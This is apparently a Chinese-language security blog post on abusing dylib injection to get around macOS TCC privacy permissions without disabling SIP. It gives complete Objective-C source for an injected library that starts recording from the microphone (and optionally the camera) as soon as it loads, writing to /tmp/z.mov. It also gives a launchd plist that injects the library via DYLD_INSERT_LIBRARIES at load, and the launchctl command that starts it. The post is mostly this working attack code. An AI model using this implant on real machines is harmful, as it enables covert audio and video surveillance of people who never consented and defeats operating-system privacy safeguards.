前言
TCC 是一种 macOS 机制,用于控制/限制应用程序对操作系统特定功能的访问。这些与隐私相关的权限包括:完整磁盘访问、位置服务、联系人、摄像头、辅助功能、麦克风等。
Dylib注入我博客中这篇文章中已经总结过了,这里就不再赘述 。
这里简单描述下在没有关闭SIP的情况下,因为关闭SIP后那就太简单了。
比如目标机器安装 Demo.App 可以注入Dylib 并赋予麦克风和摄像头权限,就可以利用此 App 进行录音录、视频等:
实操
#import <AVFoundation/AVFoundation.h>
#import <Foundation/Foundation.h>
#define PATH "/tmp/z.mov"
#define INTERVAL 10
@interface Recorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property(strong, nonatomic) AVCaptureSession *s;
@property(strong, nonatomic) AVCaptureMovieFileOutput *output;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation Recorder
- (instancetype)init {
self = [super init];
if (self) {
self.s = [[AVCaptureSession alloc] init];
self.s.sessionPreset = AVCaptureSessionPresetHigh;
NSError *error;
#ifdef USECAMERA
AVCaptureDeviceInput *input = [AVCaptureDeviceInput
deviceInputWithDevice:[AVCaptureDevice
defaultDeviceWithMediaType:AVMediaTypeVideo]
error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@",
[error localizedDescription]);
return self;
}
if ([self.s canAddInput:input]) {
[self.s addInput:input];
}
#endif
AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput
deviceInputWithDevice:[AVCaptureDevice
defaultDeviceWithMediaType:AVMediaTypeAudio]
error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@",
[error localizedDescription]);
return self;
}
if ([self.s canAddInput:audioInput]) {
[self.s addInput:audioInput];
}
// output
self.output = [[AVCaptureMovieFileOutput alloc] init];
if ([self.s canAddOutput:self.output]) {
[self.s addOutput:self.output];
}
}
return self;
}
- (void)startRecording {
[self.s startRunning];
NSString *path = [NSString stringWithFormat:@"%s", PATH];
[self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:path]
recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.output stopRecording];
[self.s stopRunning];
NSLog(@"Recording stopped");
}
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
#ifdef DEBUG
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
#endif
}
@end
static void __attribute__((constructor)) initialize(void) {
@autoreleasepool {
Recorder *ar = [[Recorder alloc] init];
[ar startRecording];
[NSThread sleepForTimeInterval:INTERVAL];
[ar stopRecording];
[[NSRunLoop currentRunLoop]
runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
}
使用 launch 在后台加载 Dylib 替代命令行 DYLD_INSERT_LIBRARIES 参数,plist 编写如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>{{LABEL}}</string>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>{{DYLIB}}</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>{{APP}}</string>
</array>
<key>RunAtLoad</key>
<true />
<key>StandardOutPath</key>
<string>/tmp/zznQ.log</string>
<key>StandardErrorPath</key>
<string>/tmp/zznQ.log</string>
</dict>
</plist>
替换相应的参数 {{xx}}
,启动后 launchctl load test.plist
目标 App 则会开始录音,演示如下: